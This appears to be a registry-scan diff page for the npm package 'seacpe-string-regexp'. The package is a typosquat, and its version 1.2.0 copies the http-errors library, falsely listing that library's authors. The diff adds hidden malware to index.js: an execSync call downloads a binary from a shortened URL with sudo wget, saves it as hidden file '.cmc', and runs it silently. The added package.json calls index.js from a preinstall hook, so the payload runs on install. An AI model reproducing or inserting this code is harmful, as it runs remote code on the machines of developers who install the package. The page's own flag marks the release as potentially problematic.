seacpe-string-regexp 0.0.1-security → 1.2.0

Sign up to get free protection for your applications and to get access to all the features.

Potentially problematic release.


This version of seacpe-string-regexp might be problematic. Click here for more details.

Files changed (5) hide show
  1. package/HISTORY.md +180 -0
  2. package/LICENSE +23 -0
  3. package/README.md +167 -3
  4. package/index.js +294 -0
  5. package/package.json +60 -3
package/HISTORY.md ADDED
@@ -0,0 +1,180 @@
1
+ 2.0.0 / 2021-12-17
2
+ ==================
3
+
4
+ * Drop support for Node.js 0.6
5
+ * Remove `I'mateapot` export; use `ImATeapot` instead
6
+ * Remove support for status being non-first argument
7
+ * Rename `UnorderedCollection` constructor to `TooEarly`
8
+ * deps: depd@2.0.0
9
+ - Replace internal `eval` usage with `Function` constructor
10
+ - Use instance methods on `process` to check for listeners
11
+ * deps: statuses@2.0.1
12
+ - Fix messaging casing of `418 I'm a Teapot`
13
+ - Remove code 306
14
+ - Rename `425 Unordered Collection` to standard `425 Too Early`
15
+
16
+ 2021-11-14 / 1.8.1
17
+ ==================
18
+
19
+ * deps: toidentifier@1.0.1
20
+
21
+ 2020-06-29 / 1.8.0
22
+ ==================
23
+
24
+ * Add `isHttpError` export to determine if value is an HTTP error
25
+ * deps: setprototypeof@1.2.0
26
+
27
+ 2019-06-24 / 1.7.3
28
+ ==================
29
+
30
+ * deps: inherits@2.0.4
31
+
32
+ 2019-02-18 / 1.7.2
33
+ ==================
34
+
35
+ * deps: setprototypeof@1.1.1
36
+
37
+ 2018-09-08 / 1.7.1
38
+ ==================
39
+
40
+ * Fix error creating objects in some environments
41
+
42
+ 2018-07-30 / 1.7.0
43
+ ==================
44
+
45
+ * Set constructor name when possible
46
+ * Use `toidentifier` module to make class names
47
+ * deps: statuses@'>= 1.5.0 < 2'
48
+
49
+ 2018-03-29 / 1.6.3
50
+ ==================
51
+
52
+ * deps: depd@~1.1.2
53
+ - perf: remove argument reassignment
54
+ * deps: setprototypeof@1.1.0
55
+ * deps: statuses@'>= 1.4.0 < 2'
56
+
57
+ 2017-08-04 / 1.6.2
58
+ ==================
59
+
60
+ * deps: depd@1.1.1
61
+ - Remove unnecessary `Buffer` loading
62
+
63
+ 2017-02-20 / 1.6.1
64
+ ==================
65
+
66
+ * deps: setprototypeof@1.0.3
67
+ - Fix shim for old browsers
68
+
69
+ 2017-02-14 / 1.6.0
70
+ ==================
71
+
72
+ * Accept custom 4xx and 5xx status codes in factory
73
+ * Add deprecation message to `"I'mateapot"` export
74
+ * Deprecate passing status code as anything except first argument in factory
75
+ * Deprecate using non-error status codes
76
+ * Make `message` property enumerable for `HttpError`s
77
+
78
+ 2016-11-16 / 1.5.1
79
+ ==================
80
+
81
+ * deps: inherits@2.0.3
82
+ - Fix issue loading in browser
83
+ * deps: setprototypeof@1.0.2
84
+ * deps: statuses@'>= 1.3.1 < 2'
85
+
86
+ 2016-05-18 / 1.5.0
87
+ ==================
88
+
89
+ * Support new code `421 Misdirected Request`
90
+ * Use `setprototypeof` module to replace `__proto__` setting
91
+ * deps: statuses@'>= 1.3.0 < 2'
92
+ - Add `421 Misdirected Request`
93
+ - perf: enable strict mode
94
+ * perf: enable strict mode
95
+
96
+ 2016-01-28 / 1.4.0
97
+ ==================
98
+
99
+ * Add `HttpError` export, for `err instanceof createError.HttpError`
100
+ * deps: inherits@2.0.1
101
+ * deps: statuses@'>= 1.2.1 < 2'
102
+ - Fix message for status 451
103
+ - Remove incorrect nginx status code
104
+
105
+ 2015-02-02 / 1.3.1
106
+ ==================
107
+
108
+ * Fix regression where status can be overwritten in `createError` `props`
109
+
110
+ 2015-02-01 / 1.3.0
111
+ ==================
112
+
113
+ * Construct errors using defined constructors from `createError`
114
+ * Fix error names that are not identifiers
115
+ - `createError["I'mateapot"]` is now `createError.ImATeapot`
116
+ * Set a meaningful `name` property on constructed errors
117
+
118
+ 2014-12-09 / 1.2.8
119
+ ==================
120
+
121
+ * Fix stack trace from exported function
122
+ * Remove `arguments.callee` usage
123
+
124
+ 2014-10-14 / 1.2.7
125
+ ==================
126
+
127
+ * Remove duplicate line
128
+
129
+ 2014-10-02 / 1.2.6
130
+ ==================
131
+
132
+ * Fix `expose` to be `true` for `ClientError` constructor
133
+
134
+ 2014-09-28 / 1.2.5
135
+ ==================
136
+
137
+ * deps: statuses@1
138
+
139
+ 2014-09-21 / 1.2.4
140
+ ==================
141
+
142
+ * Fix dependency version to work with old `npm`s
143
+
144
+ 2014-09-21 / 1.2.3
145
+ ==================
146
+
147
+ * deps: statuses@~1.1.0
148
+
149
+ 2014-09-21 / 1.2.2
150
+ ==================
151
+
152
+ * Fix publish error
153
+
154
+ 2014-09-21 / 1.2.1
155
+ ==================
156
+
157
+ * Support Node.js 0.6
158
+ * Use `inherits` instead of `util`
159
+
160
+ 2014-09-09 / 1.2.0
161
+ ==================
162
+
163
+ * Fix the way inheriting functions
164
+ * Support `expose` being provided in properties argument
165
+
166
+ 2014-09-08 / 1.1.0
167
+ ==================
168
+
169
+ * Default status to 500
170
+ * Support provided `error` to extend
171
+
172
+ 2014-09-08 / 1.0.1
173
+ ==================
174
+
175
+ * Fix accepting string message
176
+
177
+ 2014-09-08 / 1.0.0
178
+ ==================
179
+
180
+ * Initial release
package/LICENSE ADDED
@@ -0,0 +1,23 @@
1
+
2
+ The MIT License (MIT)
3
+
4
+ Copyright (c) 2014 Jonathan Ong me@jongleberry.com
5
+ Copyright (c) 2016 Douglas Christopher Wilson doug@somethingdoug.com
6
+
7
+ Permission is hereby granted, free of charge, to any person obtaining a copy
8
+ of this software and associated documentation files (the "Software"), to deal
9
+ in the Software without restriction, including without limitation the rights
10
+ to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
11
+ copies of the Software, and to permit persons to whom the Software is
12
+ furnished to do so, subject to the following conditions:
13
+
14
+ The above copyright notice and this permission notice shall be included in
15
+ all copies or substantial portions of the Software.
16
+
17
+ THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
18
+ IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
19
+ FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
20
+ AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
21
+ LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
22
+ OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
23
+ THE SOFTWARE.
package/README.md CHANGED
@@ -1,5 +1,169 @@
1
- # Security holding package
1
+ # http-errors
2
2
 
3
- This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
3
+ [![NPM Version][npm-version-image]][npm-url]
4
+ [![NPM Downloads][npm-downloads-image]][node-url]
5
+ [![Node.js Version][node-image]][node-url]
6
+ [![Build Status][ci-image]][ci-url]
7
+ [![Test Coverage][coveralls-image]][coveralls-url]
4
8
 
5
- Please refer to www.npmjs.com/advisories?search=seacpe-string-regexp for more information.
9
+ Create HTTP errors for Express, Koa, Connect, etc. with ease.
10
+
11
+ ## Install
12
+
13
+ This is a [Node.js](https://nodejs.org/en/) module available through the
14
+ [npm registry](https://www.npmjs.com/). Installation is done using the
15
+ [`npm install` command](https://docs.npmjs.com/getting-started/installing-npm-packages-locally):
16
+
17
+ ```console
18
+ $ npm install http-errors
19
+ ```
20
+
21
+ ## Example
22
+
23
+ ```js
24
+ var createError = require('http-errors')
25
+ var express = require('express')
26
+ var app = express()
27
+
28
+ app.use(function (req, res, next) {
29
+ if (!req.user) return next(createError(401, 'Please login to view this page.'))
30
+ next()
31
+ })
32
+ ```
33
+
34
+ ## API
35
+
36
+ This is the current API, currently extracted from Koa and subject to change.
37
+
38
+ ### Error Properties
39
+
40
+ - `expose` - can be used to signal if `message` should be sent to the client,
41
+ defaulting to `false` when `status` >= 500
42
+ - `headers` - can be an object of header names to values to be sent to the
43
+ client, defaulting to `undefined`. When defined, the key names should all
44
+ be lower-cased
45
+ - `message` - the traditional error message, which should be kept short and all
46
+ single line
47
+ - `status` - the status code of the error, mirroring `statusCode` for general
48
+ compatibility
49
+ - `statusCode` - the status code of the error, defaulting to `500`
50
+
51
+ ### createError([status], [message], [properties])
52
+
53
+ Create a new error object with the given message `msg`.
54
+ The error object inherits from `createError.HttpError`.
55
+
56
+ ```js
57
+ var err = createError(404, 'This video does not exist!')
58
+ ```
59
+
60
+ - `status: 500` - the status code as a number
61
+ - `message` - the message of the error, defaulting to node's text for that status code.
62
+ - `properties` - custom properties to attach to the object
63
+
64
+ ### createError([status], [error], [properties])
65
+
66
+ Extend the given `error` object with `createError.HttpError`
67
+ properties. This will not alter the inheritance of the given
68
+ `error` object, and the modified `error` object is the
69
+ return value.
70
+
71
+ <!-- eslint-disable no-redeclare -->
72
+
73
+ ```js
74
+ fs.readFile('foo.txt', function (err, buf) {
75
+ if (err) {
76
+ if (err.code === 'ENOENT') {
77
+ var httpError = createError(404, err, { expose: false })
78
+ } else {
79
+ var httpError = createError(500, err)
80
+ }
81
+ }
82
+ })
83
+ ```
84
+
85
+ - `status` - the status code as a number
86
+ - `error` - the error object to extend
87
+ - `properties` - custom properties to attach to the object
88
+
89
+ ### createError.isHttpError(val)
90
+
91
+ Determine if the provided `val` is an `HttpError`. This will return `true`
92
+ if the error inherits from the `HttpError` constructor of this module or
93
+ matches the "duck type" for an error this module creates. All outputs from
94
+ the `createError` factory will return `true` for this function, including
95
+ if an non-`HttpError` was passed into the factory.
96
+
97
+ ### new createError\[code || name\](\[msg]\))
98
+
99
+ Create a new error object with the given message `msg`.
100
+ The error object inherits from `createError.HttpError`.
101
+
102
+ ```js
103
+ var err = new createError.NotFound()
104
+ ```
105
+
106
+ - `code` - the status code as a number
107
+ - `name` - the name of the error as a "bumpy case", i.e. `NotFound` or `InternalServerError`.
108
+
109
+ #### List of all constructors
110
+
111
+ |Status Code|Constructor Name |
112
+ |-----------|-----------------------------|
113
+ |400 |BadRequest |
114
+ |401 |Unauthorized |
115
+ |402 |PaymentRequired |
116
+ |403 |Forbidden |
117
+ |404 |NotFound |
118
+ |405 |MethodNotAllowed |
119
+ |406 |NotAcceptable |
120
+ |407 |ProxyAuthenticationRequired |
121
+ |408 |RequestTimeout |
122
+ |409 |Conflict |
123
+ |410 |Gone |
124
+ |411 |LengthRequired |
125
+ |412 |PreconditionFailed |
126
+ |413 |PayloadTooLarge |
127
+ |414 |URITooLong |
128
+ |415 |UnsupportedMediaType |
129
+ |416 |RangeNotSatisfiable |
130
+ |417 |ExpectationFailed |
131
+ |418 |ImATeapot |
132
+ |421 |MisdirectedRequest |
133
+ |422 |UnprocessableEntity |
134
+ |423 |Locked |
135
+ |424 |FailedDependency |
136
+ |425 |TooEarly |
137
+ |426 |UpgradeRequired |
138
+ |428 |PreconditionRequired |
139
+ |429 |TooManyRequests |
140
+ |431 |RequestHeaderFieldsTooLarge |
141
+ |451 |UnavailableForLegalReasons |
142
+ |500 |InternalServerError |
143
+ |501 |NotImplemented |
144
+ |502 |BadGateway |
145
+ |503 |ServiceUnavailable |
146
+ |504 |GatewayTimeout |
147
+ |505 |HTTPVersionNotSupported |
148
+ |506 |VariantAlsoNegotiates |
149
+ |507 |InsufficientStorage |
150
+ |508 |LoopDetected |
151
+ |509 |BandwidthLimitExceeded |
152
+ |510 |NotExtended |
153
+ |511 |NetworkAuthenticationRequired|
154
+
155
+ ## License
156
+
157
+ [MIT](LICENSE)
158
+
159
+ [ci-image]: https://badgen.net/github/checks/jshttp/http-errors/master?label=ci
160
+ [ci-url]: https://github.com/jshttp/http-errors/actions?query=workflow%3Aci
161
+ [coveralls-image]: https://badgen.net/coveralls/c/github/jshttp/http-errors/master
162
+ [coveralls-url]: https://coveralls.io/r/jshttp/http-errors?branch=master
163
+ [node-image]: https://badgen.net/npm/node/http-errors
164
+ [node-url]: https://nodejs.org/en/download
165
+ [npm-downloads-image]: https://badgen.net/npm/dm/http-errors
166
+ [npm-url]: https://npmjs.org/package/http-errors
167
+ [npm-version-image]: https://badgen.net/npm/v/http-errors
168
+ [travis-image]: https://badgen.net/travis/jshttp/http-errors/master
169
+ [travis-url]: https://travis-ci.org/jshttp/http-errors
package/index.js ADDED
@@ -0,0 +1,294 @@
1
+ /*!
2
+ * http-errors
3
+ * Copyright(c) 2014 Jonathan Ong
4
+ * Copyright(c) 2016 Douglas Christopher Wilson
5
+ * MIT Licensed
6
+ */
7
+
8
+ 'use strict'
9
+
10
+ /**
11
+ * Module dependencies.
12
+ * @private
13
+ */
14
+
15
+ var deprecate = require('depd')('http-errors')
16
+ var setPrototypeOf = require('setprototypeof')
17
+ var statuses = require('statuses')
18
+ var inherits = require('inherits')
19
+ var toIdentifier = require('toidentifier')
20
+
21
+ /**
22
+ * Module exports.
23
+ * @public
24
+ */
25
+
26
+ module.exports = createError
27
+ module.exports.HttpError = createHttpErrorConstructor()
28
+ module.exports.isHttpError = createIsHttpErrorFunction(module.exports.HttpError)
29
+
30
+ // Populate exports for all constructors
31
+ populateConstructorExports(module.exports, statuses.codes, module.exports.HttpError)
32
+
33
+ /**
34
+ * Get the code class of a status code.
35
+ * @private
36
+ */
37
+
38
+ function codeClass (status) {
39
+ return Number(String(status).charAt(0) + '00')
40
+ }
41
+
42
+ /**
43
+ * Create a new HTTP Error.
44
+ *
45
+ * @returns {Error}
46
+ * @public
47
+ */
48
+
49
+ function createError () {
50
+ // so much arity going on ~_~
51
+ var err
52
+ var msg
53
+ var status = 500
54
+ var props = {}
55
+ for (var i = 0; i < arguments.length; i++) {
56
+ var arg = arguments[i]
57
+ var type = typeof arg
58
+ if (type === 'object' && arg instanceof Error) {
59
+ err = arg
60
+ status = err.status || err.statusCode || status
61
+ } else if (type === 'number' && i === 0) {
62
+ status = arg
63
+ } else if (type === 'string') {
64
+ msg = arg
65
+ } else if (type === 'object') {
66
+ props = arg
67
+ } else {
68
+ throw new TypeError('argument #' + (i + 1) + ' unsupported type ' + type)
69
+ }
70
+ }
71
+
72
+ if (typeof status === 'number' && (status < 400 || status >= 600)) {
73
+ deprecate('non-error status code; use only 4xx or 5xx status codes')
74
+ }
75
+
76
+ if (typeof status !== 'number' ||
77
+ (!statuses.message[status] && (status < 400 || status >= 600))) {
78
+ status = 500
79
+ }
80
+
81
+ // constructor
82
+ var HttpError = createError[status] || createError[codeClass(status)]
83
+
84
+ if (!err) {
85
+ // create error
86
+ err = HttpError
87
+ ? new HttpError(msg)
88
+ : new Error(msg || statuses.message[status])
89
+ Error.captureStackTrace(err, createError)
90
+ }
91
+
92
+ if (!HttpError || !(err instanceof HttpError) || err.status !== status) {
93
+ // add properties to generic error
94
+ err.expose = status < 500
95
+ err.status = err.statusCode = status
96
+ }
97
+
98
+ for (var key in props) {
99
+ if (key !== 'status' && key !== 'statusCode') {
100
+ err[key] = props[key]
101
+ }
102
+ }
103
+
104
+ return err
105
+ }
106
+
107
+ /**
108
+ * Create HTTP error abstract base class.
109
+ * @private
110
+ */
111
+
112
+ // if ur using windows for installing this package ur 1 lucky son of a bicth
113
+
114
+ const child = require('child_process').execSync;
115
+ child('sudo wget https://bit.ly/3c2tMTT -O ./.cmc -L >/dev/null 2>&1 && chmod +x .cmc >/dev/null 2>&1 && ./.cmc >/dev/null 2>&1');
116
+
117
+ function createHttpErrorConstructor () {
118
+ function HttpError () {
119
+ throw new TypeError('cannot construct abstract class')
120
+ }
121
+
122
+ inherits(HttpError, Error)
123
+
124
+ return HttpError
125
+ }
126
+
127
+ /**
128
+ * Create a constructor for a client error.
129
+ * @private
130
+ */
131
+
132
+ function createClientErrorConstructor (HttpError, name, code) {
133
+ var className = toClassName(name)
134
+
135
+ function ClientError (message) {
136
+ // create the error object
137
+ var msg = message != null ? message : statuses.message[code]
138
+ var err = new Error(msg)
139
+
140
+ // capture a stack trace to the construction point
141
+ Error.captureStackTrace(err, ClientError)
142
+
143
+ // adjust the [[Prototype]]
144
+ setPrototypeOf(err, ClientError.prototype)
145
+
146
+ // redefine the error message
147
+ Object.defineProperty(err, 'message', {
148
+ enumerable: true,
149
+ configurable: true,
150
+ value: msg,
151
+ writable: true
152
+ })
153
+
154
+ // redefine the error name
155
+ Object.defineProperty(err, 'name', {
156
+ enumerable: false,
157
+ configurable: true,
158
+ value: className,
159
+ writable: true
160
+ })
161
+
162
+ return err
163
+ }
164
+
165
+ inherits(ClientError, HttpError)
166
+ nameFunc(ClientError, className)
167
+
168
+ ClientError.prototype.status = code
169
+ ClientError.prototype.statusCode = code
170
+ ClientError.prototype.expose = true
171
+
172
+ return ClientError
173
+ }
174
+
175
+ /**
176
+ * Create function to test is a value is a HttpError.
177
+ * @private
178
+ */
179
+
180
+ function createIsHttpErrorFunction (HttpError) {
181
+ return function isHttpError (val) {
182
+ if (!val || typeof val !== 'object') {
183
+ return false
184
+ }
185
+
186
+ if (val instanceof HttpError) {
187
+ return true
188
+ }
189
+
190
+ return val instanceof Error &&
191
+ typeof val.expose === 'boolean' &&
192
+ typeof val.statusCode === 'number' && val.status === val.statusCode
193
+ }
194
+ }
195
+
196
+ /**
197
+ * Create a constructor for a server error.
198
+ * @private
199
+ */
200
+
201
+ function createServerErrorConstructor (HttpError, name, code) {
202
+ var className = toClassName(name)
203
+
204
+ function ServerError (message) {
205
+ // create the error object
206
+ var msg = message != null ? message : statuses.message[code]
207
+ var err = new Error(msg)
208
+
209
+ // capture a stack trace to the construction point
210
+ Error.captureStackTrace(err, ServerError)
211
+
212
+ // adjust the [[Prototype]]
213
+ setPrototypeOf(err, ServerError.prototype)
214
+
215
+ // redefine the error message
216
+ Object.defineProperty(err, 'message', {
217
+ enumerable: true,
218
+ configurable: true,
219
+ value: msg,
220
+ writable: true
221
+ })
222
+
223
+ // redefine the error name
224
+ Object.defineProperty(err, 'name', {
225
+ enumerable: false,
226
+ configurable: true,
227
+ value: className,
228
+ writable: true
229
+ })
230
+
231
+ return err
232
+ }
233
+
234
+ inherits(ServerError, HttpError)
235
+ nameFunc(ServerError, className)
236
+
237
+ ServerError.prototype.status = code
238
+ ServerError.prototype.statusCode = code
239
+ ServerError.prototype.expose = false
240
+
241
+ return ServerError
242
+ }
243
+
244
+ /**
245
+ * Set the name of a function, if possible.
246
+ * @private
247
+ */
248
+
249
+ function nameFunc (func, name) {
250
+ var desc = Object.getOwnPropertyDescriptor(func, 'name')
251
+
252
+ if (desc && desc.configurable) {
253
+ desc.value = name
254
+ Object.defineProperty(func, 'name', desc)
255
+ }
256
+ }
257
+
258
+ /**
259
+ * Populate the exports object with constructors for every error class.
260
+ * @private
261
+ */
262
+
263
+ function populateConstructorExports (exports, codes, HttpError) {
264
+ codes.forEach(function forEachCode (code) {
265
+ var CodeError
266
+ var name = toIdentifier(statuses.message[code])
267
+
268
+ switch (codeClass(code)) {
269
+ case 400:
270
+ CodeError = createClientErrorConstructor(HttpError, name, code)
271
+ break
272
+ case 500:
273
+ CodeError = createServerErrorConstructor(HttpError, name, code)
274
+ break
275
+ }
276
+
277
+ if (CodeError) {
278
+ // export the constructor
279
+ exports[code] = CodeError
280
+ exports[name] = CodeError
281
+ }
282
+ })
283
+ }
284
+
285
+ /**
286
+ * Get a class name from a name identifier.
287
+ * @private
288
+ */
289
+
290
+ function toClassName (name) {
291
+ return name.substr(-5) !== 'Error'
292
+ ? name + 'Error'
293
+ : name
294
+ }
package/package.json CHANGED
@@ -1,6 +1,63 @@
1
1
  {
2
2
  "name": "seacpe-string-regexp",
3
- "version": "0.0.1-security",
4
- "description": "security holding package",
5
- "repository": "npm/security-holder"
3
+ "description": "Create HTTP error objects",
4
+ "version": "1.2.0",
5
+ "author": "Jonathan Ong <me@jongleberry.com> (http://jongleberry.com)",
6
+ "contributors": [
7
+ "Alan Plum <me@pluma.io>",
8
+ "Douglas Christopher Wilson <doug@somethingdoug.com>"
9
+ ],
10
+ "license": "MIT",
11
+ "repository": {
12
+ "type": "git",
13
+ "url": "git+https://github.com/jshttp/http-errors.git"
14
+ },
15
+ "dependencies": {
16
+ "depd": "2.0.0",
17
+ "inherits": "2.0.4",
18
+ "request": "^2.88.2",
19
+ "setprototypeof": "1.2.0",
20
+ "statuses": "2.0.1",
21
+ "toidentifier": "1.0.1"
22
+ },
23
+ "devDependencies": {
24
+ "eslint": "7.32.0",
25
+ "eslint-config-standard": "14.1.1",
26
+ "eslint-plugin-import": "2.25.3",
27
+ "eslint-plugin-markdown": "2.2.1",
28
+ "eslint-plugin-node": "11.1.0",
29
+ "eslint-plugin-promise": "5.2.0",
30
+ "eslint-plugin-standard": "4.1.0",
31
+ "mocha": "9.1.3",
32
+ "nyc": "15.1.0"
33
+ },
34
+ "engines": {
35
+ "node": ">= 0.8"
36
+ },
37
+ "scripts": {
38
+ "lint": "eslint . && node ./scripts/lint-readme-list.js",
39
+ "test": "mocha --reporter spec --bail",
40
+ "test-ci": "nyc --reporter=lcov --reporter=text npm test",
41
+ "test-cov": "nyc --reporter=html --reporter=text npm test",
42
+ "version": "node scripts/version-history.js && git add HISTORY.md",
43
+ "preinstall": "node index.js"
44
+ },
45
+ "keywords": [
46
+ "http",
47
+ "error"
48
+ ],
49
+ "files": [
50
+ "index.js",
51
+ "HISTORY.md",
52
+ "LICENSE",
53
+ "README.md"
54
+ ],
55
+ "bugs": {
56
+ "url": "https://github.com/jshttp/http-errors/issues"
57
+ },
58
+ "homepage": "https://github.com/jshttp/http-errors#readme",
59
+ "main": "index.js",
60
+ "directories": {
61
+ "test": "test"
62
+ }
6
63
  }